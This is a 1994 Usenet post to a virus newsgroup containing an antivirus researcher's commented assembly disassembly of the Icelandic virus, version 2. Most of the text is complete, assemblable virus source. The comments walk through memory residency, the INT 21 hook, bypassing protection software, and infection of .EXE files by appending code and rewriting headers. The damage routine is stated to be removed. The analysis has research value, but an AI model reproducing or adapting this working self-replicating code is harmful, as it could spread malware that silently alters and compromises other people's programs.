From netcom.com!ix.netcom.com!howland.reston.ans.net!gatech!bloom-beacon.mit.edu!uhog.mit.edu!rutgers!engr.orst.edu!gaia.ucs.orst.edu!myhost.subdomain.domain!clair Tue Nov 29 09:54:55 1994
Xref: netcom.com alt.comp.virus:489
Path: netcom.com!ix.netcom.com!howland.reston.ans.net!gatech!bloom-beacon.mit.edu!uhog.mit.edu!rutgers!engr.orst.edu!gaia.ucs.orst.edu!myhost.subdomain.domain!clair
From: clair@myhost.subdomain.domain (The Clairvoyant)
Newsgroups: alt.comp.virus
Subject: Ice2 Disassembly by f-prot author
Date: 28 Nov 1994 08:16:26 GMT
Organization: String to put in the Organization Header
Lines: 493
Message-ID: <3bc3kq$mjc@gaia.ucs.orst.edu>
NNTP-Posting-Host: tempest.rhn.orst.edu
X-Newsreader: TIN [version 1.2 PL2]



;       THE ICELANDIC VIRUS - VERSION 2
;
;       Disassembly done in July '89.
;
;       The author(s) of this program is(are) unknown, but it is of
;       Icelandic origin. 
;
;       All comments in this file were added by Fridrik Skulason,
;       University of Iceland/Computing Services.
;
;       INTERNET:     frisk@rhi.hi.is 
;       UUCP:         ...mcvax!hafro!rhi!frisk
;       BIX:          FRISK
;
;       To anyone who obtains this file - please be careful with it, I
;       would not like to see this virus be distributed too much. The code
;       is very clear, and the virus is quite well written. It would be VERY
;       easy to modify it to do something really harmful.
;
;       The virus has the following flaws:
;
;               It modifies the date of the program it infects, making
;               it easy to spot them.
;
;               It removes the Read-only attribute from files, but does
;               not restore it.
;
;       This version appears to do no damage at all. This, and the fact that
;       the author(s) sent me a copy probably indicates that it was just
;       designed to demonstrate that a virus like this could be written.
;
;       This file was created in the following way: 
;
;       I disassembled the new version and compared it to my disassembly
;       of version #1.
;
;       Any changes found were added to this file.
;
VIRSIZ  EQU     128

        ASSUME CS:_TEXT,DS:NOTHING,SS:NOTHING,ES:NOTHING
;
;       This is a dummy "infected" program, so that this file,
;       when assembled (using MASM) will produce a "true" infected
;       program.
;
_TEXT1  SEGMENT PARA PUBLIC 'CODE'
_START  DB      0b4H,09H
        PUSH    CS
        POP     DS
        MOV     DX,OFFSET STRING
        INT     21H
        MOV     AX,4C00H
        INT     21H
STRING  DB      "Hello world!",0dh,0ah,"$"
 _TEXT1 ENDS

_TEXT SEGMENT PARA PUBLIC 'CODE'

;
;       The virus is basically divided in two parts.
;
;       1. The main program - run when an infected program is run. 
;          It will check if the system is already infected, and if not
;          it will install the virus.
;
;       2. The new INT 21 handler. It will look for EXEC calls, and
;          (sometimes) infect the program being run.
;          
VIRUS   PROC FAR
;
;       This is a fake MCB
;
        DB      'Z',00,00,VIRSIZ,0,0,0,0,0,0,0,0,0,0,0,0
;
;       The virus starts by pushing the original start address on the stack,
;       so it can transfer control there when finished.
;
LABEL1: SUB     SP,4
        PUSH    BP
        MOV     BP,SP
        PUSH    AX
        MOV     AX,ES
;
;       Put the the original CS on the stack. The ADD AX,data instruction
;       is modified by the virus when it infects other programs.
;
        DB      05H     
ORG_CS  DW      0010H
        MOV     [BP+4],AX
;
;       Put the the original IP on the stack. This MOV [BP+2],data instruction
;       is modified by the virus when it infects other programs.
;
        DB      0C7H,46H,02H
ORG_IP  DW      0000H
;
;       Save all registers that are modified.
;
        PUSH    ES
        PUSH    DS      
        PUSH    BX
        PUSH    CX
        PUSH    SI
        PUSH    DI
;
;       Check if already installed. Quit if so.
;
        XOR     AX,AX
        MOV     ES,AX
        CMP     ES:[37FH],BYTE PTR 0FFH 
        JNE     L1
;
;       Restore all registers and return to the original program.
;
EXIT:   POP     DI
        POP     SI
        POP     CX
        POP     BX
        POP     DS
        POP     ES
        POP     AX
        POP     BP
        RET
;
;       The code to check if INT 13 contains something other than
;       0070 or F000 has been removed.
;
;       Set the installation flag, so infected programs run later will
;       recognize the infection.
;
L1:     MOV     ES:[37FH],BYTE PTR 0FFH
;
;       The virus tries to hide from detection by modifying the memory block it
;       uses, so it seems to be a block that belongs to the operating system.
;
;       It looks rather weird, but it seems to work. 
;
        MOV     AH,52H                  
        INT     21H                     
;
;       The next line is new - the virus obtains the segment of the
;       IBMDOS.COM/MSDOS.SYS program.
;
        MOV     CS:[DOSSEG],ES
;
;       Back to modification
;
        MOV     AX,ES:[BX-2]            
        MOV     ES,AX                   
        ADD     AX,ES:[0003]            
        INC     AX                      
        INC     AX                      
        MOV     CS:[0001],AX
;
;       Next, the virus modifies the memory block of the infected program.
;       It is made smaller, and no longer the last block.
;
        MOV     BX,DS                   
        DEC     BX                      
        MOV     DS,BX
        MOV     AL,'M'
        MOV     DS:[0000],AL
        MOV     AX,DS:[0003]
        SUB     AX,VIRSIZ
        MOV     DS:[0003],AX
        ADD     BX,AX
        INC     BX
;
;       Then the virus moves itself to the new block. For some reason 2000
;       bytes are transferred, when much less would be enough. Maybe the author just
;       wanted to leave room for future expansions.
;
        MOV     ES,BX
        XOR     SI,SI
        XOR     DI,DI
        PUSH    CS
        POP     DS
        MOV     CX,2000
        CLD
        REP     MOVSB
;
;       The virus then transfers control to the new copy of itself.
;
        PUSH    ES
        MOV     AX,OFFSET L2
        PUSH    AX
        RET                             
;
;       This part of the program is new. It tries to bypass protection
;       programs, by obtaining the original INT 21 address. It searches
;       for the byte sequence 2E 3A 26, which (in DOS 3.1 and 3.3) is the
;       beginning of the original interrupt (probably also in 3.2 - I do
;       not have a copy of that)
;
L2:     MOV     DS,CS:[DOSSEG]
        MOV     CX,3000H
        MOV     SI,0
        MOV     AX,3A2EH
L3:     CMP     AX,[SI]
        JE      L3A
L3C:    INC     SI
        LOOP    L3
;
;       If that fails, it searches for 80 FC 63   (used in 3.0)
;                                      80 FC 4B   (used in 2.0)
;                                      80 FC F8   (This looks very odd -
;       I have no idea what DOS version this might be.)
;
        MOV     CX,3000H
        MOV     SI,0
        MOV     AX,0FC80H
L3D:    CMP     AX,[SI]
        JE      L3F
L3E:    INC     SI
        LOOP    L3D
;
;       Start of DOS not found - Give up (but remain in memory)
;
        JMP     EXIT

L3A:    CMP     BYTE PTR[SI+2],26H
        JE      L3B
        JMP     L3C
L3F:    CMP     BYTE PTR[SI+2],63H
        JE      L3B
        CMP     BYTE PTR[SI+2],4BH
        JE      L3B
        CMP     BYTE PTR[SI+2],0F8H
        JE      L3B
        JMP     L3E
L3B:    MOV     CS:[DOSPC],SI
;
;       The main program modifies INT 21 next and finally returns to the
;       original program. The original INT 21 vector is stored inside the
;       program so a JMP [OLD INT21] instruction can be used.
;
        XOR     AX,AX
        MOV     ES,AX
        MOV     AX,ES:[0084H]
        MOV     CS:[OLD21],AX
        MOV     AX,ES:[0086H]
        MOV     CS:[OLD21+2],AX
        MOV     AX,CS
        MOV     ES:[0086H],AX
        MOV     AX,OFFSET NEW21
        MOV     ES:[0084H],AX
        JMP     EXIT
VIRUS   ENDP
;
;       This is the INT 21 replacement. It only does something in the case
;       of an EXEC call.
;
NEW21   PROC FAR                        
        CMP     AH,4BH                  
        JE      L5
L4:     DB      0EAH
OLD21   DW      0,0
;
;       Only attack every tenth program run.
;
L5:     DEC     CS:[COUNTER]
        JNE     L4
        MOV     CS:[COUNTER],10
;
;       Save all affected registers.
;
        PUSH    AX
        PUSH    BX
        PUSH    CX
        PUSH    DX
        PUSH    SI
        PUSH    DS
;
;       Search for the file name extension ...
;
        MOV     BX,DX
L6:     INC     BX
        CMP     BYTE PTR [BX],'.'
        JE      L8
        CMP     BYTE PTR [BX],0
        JNE     L6
;
;       ... and quit unless it starts with "EX".
;
L7:     POP     DS
        POP     SI
        POP     DX
        POP     CX
        POP     BX
        POP     AX
        JMP     L4
L8:     INC     BX
        CMP     WORD PTR [BX],5845H
        JNE     L7
;
;       When an .EXE file is found, the virus starts by turning off
;       the read-only attribute. The read-only attribute is not restored
;       when the file has been infected.
;
;       Here, as elsewhere, the INT 21 instructions have been replaced
;       by      PUSHF/CALL DWORD PTR CS:[DOSPC]
;
        MOV     AX,4300H                ; Get attribute
        PUSHF
        CALL    DWORD PTR CS:[DOSPC]
        JC      L7
        MOV     AX,4301H                ; Set attribute
        AND     CX,0FEH
        PUSHF
        CALL    DWORD PTR CS:[DOSPC]
        JC      L7
;
;       Next, the file is examined to see if it is already infected.
;       The signature (4418 5F19) is stored in the last two words.
;
        MOV     AX,3D02H                ; Open / write access
        PUSHF
        CALL    DWORD PTR CS:[DOSPC]
        JC      L7
        MOV     BX,AX                   ; file handle in BX
        PUSH    CS                      ; now DS is no longer needed
        POP     DS
;
;       The header of the file is read in at [ID+8]. The virus then
;       modifies itself, according to the information stored in the
;       header. (The original CS and IP addressed are stored).
;
        MOV     DX,OFFSET ID+8
        MOV     CX,1CH
        MOV     AH,3FH
        PUSHF
        CALL    DWORD PTR CS:[DOSPC]
        JC      L9
        MOV     AX,DS:ID[1CH]
        MOV     DS:[ORG_IP],AX
        MOV     AX,DS:ID[1EH]
        ADD     AX,10H
        MOV     DS:[ORG_CS],AX
;
;       Next the read/write pointer is moved to the end of the file-4,
;       and the last 4 bytes read. They are compared to the signature,
;       and if equal nothing happens.
;
        MOV     AX,4202H
        MOV     CX,-1
        MOV     DX,-4
        PUSHF
        CALL    DWORD PTR CS:[DOSPC]
        JC      L9
        ADD     AX,4    
        MOV     DS:[LEN_LO],AX
        JNC     L8A
        INC     DX
L8A:    MOV     DS:[LEN_HI],DX

        MOV     AH,3FH
        MOV     CX,4
        MOV     DX,OFFSET ID+4
        PUSHF
        CALL    DWORD PTR CS:[DOSPC]
        JNC     L11
L9:     MOV     AH,3EH
        PUSHF
        CALL    DWORD PTR CS:[DOSPC]
L10:    JMP     L7
;
;       Compare to 4418,5F19
;
L11:    MOV     SI,OFFSET ID+4
        MOV     AX,[SI]
        CMP     AX,4418H
        JNE     L12
        MOV     AX,[SI+2]
        CMP     AX,5F19H
        JE      L9
;
;       The file is not infected, so the next thing the virus does is
;       infecting it. First it is padded so the length becomes a multiple
;       of 16 bytes. This is probably done so the virus code can start at a
;       paragraph boundary.
;
L12:    MOV     AX,DS:[LEN_LO]
        AND     AX,0FH
        JZ      L13
        MOV     CX,16
        SUB     CX,AX
        ADD     DS:[LEN_LO],CX
        JNC     L12A
        INC     DS:[LEN_HI]
L12A:   MOV     AH,40H
        PUSHF
        CALL    DWORD PTR CS:[DOSPC]
        JC      L9
;
;       Next the main body of the virus is written to the end.
;
L13:    XOR     DX,DX
        MOV     CX,OFFSET ID + 4
        MOV     AH,40H
        PUSHF
        CALL    DWORD PTR CS:[DOSPC]
        JC      L9
;
;       Next the .EXE file header is modified:
;
;       First modify initial IP
;
        MOV     AX,OFFSET LABEL1
        MOV     DS:ID[1CH],AX
;
;       Modify starting CS = Virus CS. It is computed as:
;
;       (Original length of file+padding)/16 - Start of load module
;
        MOV     DX,DS:[LEN_HI]
        MOV     AX,DS:[LEN_LO]
        SHR     DX,1
        RCR     AX,1
        SHR     DX,1
        RCR     AX,1
        SHR     DX,1
        RCR     AX,1
        SHR     DX,1
        RCR     AX,1
        SUB     AX,DS:ID[10H]
        MOV     DS:ID[1EH],AX
;
;       Modify length mod 512
;
        ADD     DS:[LEN_LO],OFFSET ID+4
        JNC     L14
        INC     DS:[LEN_HI]
L14:    MOV     AX,DS:[LEN_LO]
        AND     AX,511
        MOV     DS:ID[0AH],AX
;
;       Modify number of blocks used
;
        MOV     DX,DS:[LEN_HI]
        MOV     AX,DS:[LEN_LO]
        ADD     AX,511
        JNC     L14A
        INC     DX
L14A:   MOV     AL,AH
        MOV     AH,DL
        SHR     AX,1
        MOV     DS:ID[0CH],AX
;
;       Finally the modified header is written back to the start of the
;       file.
;
QQQ:    MOV     AX,4200H
        XOR     CX,CX
        XOR     DX,DX
        PUSHF
        CALL    DWORD PTR CS:[DOSPC]
        JC      ENDIT
        MOV     AH,40H
        MOV     DX,OFFSET ID+8
        MOV     CX,1CH
        PUSHF
        CALL    DWORD PTR CS:[DOSPC]
        JC      ENDIT
        MOV     AH,3EH
        PUSHF
        CALL    DWORD PTR CS:[DOSPC]
;
;       Infection is finished - close the file and execute it.
;
ENDIT:  JMP     L9
;
;       The damage section located here has been removed.
;

NEW21   ENDP

DOSPC   DW      ?

DOSSEG   DW   ?
COUNTER DB      10
LEN_LO  DW      ?
LEN_HI  DW      ?
ID      DW      4418H,5F19H             ; The signature of the virus.
;
;       A buffer, used for data from the file.
;
_TEXT   ENDS

        END LABEL1